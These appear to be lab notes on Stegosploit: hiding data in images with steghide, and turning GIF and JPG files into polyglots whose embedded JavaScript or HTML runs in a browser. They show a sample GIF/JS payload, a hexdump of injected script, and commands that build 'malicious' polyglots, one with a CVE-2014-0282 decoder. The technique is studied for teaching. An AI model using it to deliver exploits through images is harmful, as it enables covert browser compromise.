# Stegosploit
[Article](https://stegosploit.info)
[google slice](https://docs.google.com/presentation/d/1-S54CTZuZRBnoX8FdTBu8oyka0YkbjHEn7iIajiRdNs/edit?usp=sharing)
[lab questions](https://docs.google.com/document/d/1YpkJ8T4pMyhY71aNHQycAXWsQ6f14KtRUF-T1xNIKJQ/edit)

## Tools

### steghide
A simple tool to embed secret into a image file.

sudo apt install steghide
1. To embed a secret into a jpg:

    ┌──(bob㉿kali)-[~/Desktop/Stegosploit]
    └─$ steghide embed -ef secret.txt -cf dog_original.jpg -sf dog_new.jpg -Z -p password
    embedding "secret.txt" in "dog_original.jpg"... done
    writing stego file "dog_new.jpg"... done

2. The md5 has changed:

    ┌──(bob㉿kali)-[~/Desktop/Stegosploit]
    └─$ md5sum dog_original.jpg 
    b6081e482657cfc03c4e4748b0de2b5f  dog_original.jpg

    ┌──(bob㉿kali)-[~/Desktop/Stegosploit]
    └─$ md5sum dog_new.jpg     
    b853222aa21cddd182b9223f4b8363fb  dog_new.jpg

3. To extract the secret:

    └─$ steghide extract -sf dog_new.jpg -p password -xf secret_extract.txt              
    wrote extracted data to "secret_extract.txt".

### Stegosploit Toolkit
[PyStegosploit Source Code](https://github.com/Charmve/PyStegosploit.git)
#### [Iterative encoding strategy](https://stegosploit.info/#23-iterative-encoding-for-jpg-images)
PyStegosploit/project-stegosploit/encoding/iterative_encoding.html

### 4.1 IMAJS - Early Work
This section is a early work that puts js code into GIF/BMP file and wrap the image in a script tag so that the js code would excute.

Put js code like

GIF89a/*...... (GIF image data) .....*/="pwned";alert(Date());
/* will be escaped by js so the GIF content has no effect, and the code behind would run. When rendering this as a GIF image, it will still display the content properly.

Then wrap the image as

<script src="gifjs.gif"></script>

### 4.2 Insert HTML to JPG files
Put HTML code inside a JPG file, so that we don't need to wrap the file in a \<script> tag.

|  |
|:--:|
|*JPG metadata format*|

|  |
|:--:|
|*Hacked JPG metadata format*|

Exploit code encoded image:

boyangwan@Boyangs-MacBook-Pro imajs % ./jpegdump kevin_encoded.JPG 
marker 0xffd8 SOI at offset 0	(start of image)
marker 0xffe0 APP0 at offset 2	(application data section  0)
marker 0xffdb DQT at offset 20	(define quantization tables)
marker 0xffdb DQT at offset 89	(define quantization tables)
marker 0xffc0 SOF0 at offset 158	(start of frame (baseline jpeg))
marker 0xffc4 DHT at offset 177	(define huffman tables)
marker 0xffc4 DHT at offset 210	(define huffman tables)
marker 0xffc4 DHT at offset 393	(define huffman tables)
marker 0xffc4 DHT at offset 426	(define huffman tables)
marker 0xffda SOS at offset 609	(start of scan)
marker 0xffd9 EOC at offset 191264	(end of codestream)

After put the decode code in:

boyangwan@Boyangs-MacBook-Pro imajs % ./jpegdump kevin_polyglot.jpg 
marker 0xffd8 SOI at offset 0	(start of image)
marker 0xffe0 APP0 at offset 2	(application data section  0) ## HTML is inserted here
marker 0xffdb DQT at offset 12094	(define quantization tables)
marker 0xffdb DQT at offset 12163	(define quantization tables)
marker 0xffc0 SOF0 at offset 12232	(start of frame (baseline jpeg))
marker 0xffc4 DHT at offset 12251	(define huffman tables)
marker 0xffc4 DHT at offset 12284	(define huffman tables)
marker 0xffc4 DHT at offset 12467	(define huffman tables)
marker 0xffc4 DHT at offset 12500	(define huffman tables)
marker 0xffda SOS at offset 12683	(start of scan)
marker 0xffd9 EOC at offset 203338	(end of codestream)

Inside the binary:

boyangwan@Boyangs-MacBook-Pro imajs % hexdump -Cv kevin_polygloted.jpg 
00000000  ff d8 ff e0 2f 2a 4a 46  49 46 00 01 01 00 00 01  |..../*JFIF......|
00000010  00 01 00 00 3c 21 2d 2d  20 ec a8 6c f2 a5 1f b4  |....<!-- ..l....| Here using <!-- to comment jpg data between.
00000020  67 ad cc f2 85 98 17 3a  c2 c4 c8 4e 21 36 11 0d  |g......:...N!6..|
00000030  23 26 ca 80 4d 40 37 32  24 52 09 b7 d0 79 b0 f7  |#&..M@72$R...y..|
.
.
.
000000d0  c7 03 57 67 e3 45 43 30  87 ec 9f 59 37 a9 77 1f  |..Wg.EC0...Y7.w.|
000000e0  8b 30 c5 6e c4 28 75 d1  01 1f f0 b9 2c 8d 7e 20  |.0.n.(u.....,.~ |
000000f0  2d 2d 3e 3c 68 74 6d 6c  3e 3c 68 65 61 64 3e 3c  |--><html><head><|  Here using --> to comment jpg data between.
00000100  6d 65 74 61 20 68 74 74  70 2d 65 71 75 69 76 3d  |meta http-equiv=|
00000110  22 58 2d 55 41 2d 43 6f  6d 70 61 74 69 62 6c 65  |"X-UA-Compatible|
00000120  22 20 63 6f 6e 74 65 6e  74 3d 22 49 45 3d 45 64  |" content="IE=Ed|
00000130  67 65 22 3e 3c 73 63 72  69 70 74 3e 76 61 72 20  |ge"><script>var |
00000140  62 4c 3d 32 2c 65 43 3d  33 2c 67 72 3d 33 3b 66  |bL=2,eC=3,gr=3;f|
00000150  75 6e 63 74 69 6f 6e 20  69 30 28 29 7b 70 78 2e  |unction i0(){px.|
00000160  6f 6e 63 6c 69 63 6b 3d  64 49 44 7d 66 75 6e 63  |onclick=dID}func|
00000170  74 69 6f 6e 20 64 49 44  28 29 7b 76 61 72 20 62  |tion dID(){var b|
.
.
.
00000620  3c 2f 64 69 76 3e 3c 2f  62 6f 64 79 3e 3c 2f 68  |</div></body></h|
00000630  74 6d 6c 3e 3c 21 2d 2d  97 20 ac ef df f0 51 e6  |tml><!--. ....Q.|  Here using <!-- to comment jpg data after.
00000640  5a 78 ac e6 73 4a 17 17  a3 bf 43 43 40 53 4d cb  |Zx..sJ....CC@SM.|

#### Usage

python3 scripts/polyglot_with_jpg.py exploits/decoder.html images/encoded/picture.JPG polyglots/malicious.html 

python-stegosploit/imajs %
./html_in_jpg_ff.pl ../exploits/decoder_cve_2014_0282.html ./stego.JPG dog_polyglot.jpg

./html_in_jpg_ff.pl decoder.html ./encoded.jpg ho_polyglot.jpg

### 4.3 Put HTML in PNG, similar to JPG, I think we can skip this part.

## 5. How to avoid being detected when transferring on the internet